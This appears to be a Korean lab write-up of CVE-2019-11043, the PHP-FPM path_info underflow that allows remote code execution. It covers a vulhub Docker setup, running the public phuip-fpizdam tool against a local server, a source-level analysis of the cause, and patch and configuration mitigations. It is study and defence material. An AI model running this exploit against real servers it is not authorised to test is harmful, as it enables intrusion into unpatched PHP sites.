CVE-2019-11043
웹서버와 PHP를 연결해주는 기능인 PHP-FPM 에서 취약점 발생
0. 취약한 환경 버전
PHP FPM 7.1.x ~ 7.1.33
PHP FPM 7.2.x ~ 7.2.24
PHP FPM 7.3.x ~ 7.3.11
1. 환경 구성
- ubuntu 20.04
- docker
- golang
CVE-2019-11043 폴더 생성
mkdir CVE-2019-11043
CVE-2019-11403 폴더 내 도커 파일 다운
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/default.conf
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/docker-compose.yml
CVE-2019-11043에 하위 폴더 www 생성
CVE-2019-11043$ mkdir www
www폴더 내 인덱스 페이지 다운
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/www/index.php
폴더 내 파일 확인
CVE-2019-11043 폴더에서 컨테이너 생성 및 백그라운드 실행
docker-compose up -d
도커 컨테이너 확인
인덱스 페이지 접속 확인
2. PoC
일반 사용자로 전환
golang 설치
apt-get install golang
phuip-fpizdam 다운로드
go get github.com/neex/phuip-fpizdam
go install github.com/neex/phuip-fpizdam
phuip-fpizdam란
파일 실행 시 공격 대상 정보를 인자 값으로 설정해주는 POC 스크립트
exploit 실행
./phuip-fpizdam http://localhost:8080/index.php
원격 명령어 실행
3. 원인 분석
php 소스코드 중 path_info에 env_path_info의 산술 연산된 값을 넣는 부분이 있는데, 해당 부분에서 연산된 값에 대한 검증이 없어 취약점 발생
if (apache_was_here) {
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
tflag = path_info && (orig_path_info != path_info);
}
공격자가 URL과 쿼리 문자열 길이를 정확하게 맞추면, PATH_INFO를 _fcgi_data_seg의 첫번째 바이트(*pos)로 지정할 수 있고, pos에 0이 들어가면, Underflow가 발생
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
타겟을 대상으로 다수의 요청이 발생되어 공격자는 다수의 요청 중 길이가 맞는 요청값을 통해 취약점이 발생
4. 대응 방안
1. try_files 포함 혹은 if문을 통한 검증 코드 구현
2. 패치 버전 7.3.11 , 7.2.24 업그레이드
참조
https://qiita.com/shimizukawasaki/items/39d68a7c658dfa50263d
https://github.com/neex/phuip-fpizdam
https://www.hahwul.com/2019/10/28/php7-underflow-rce-vulnerabliity/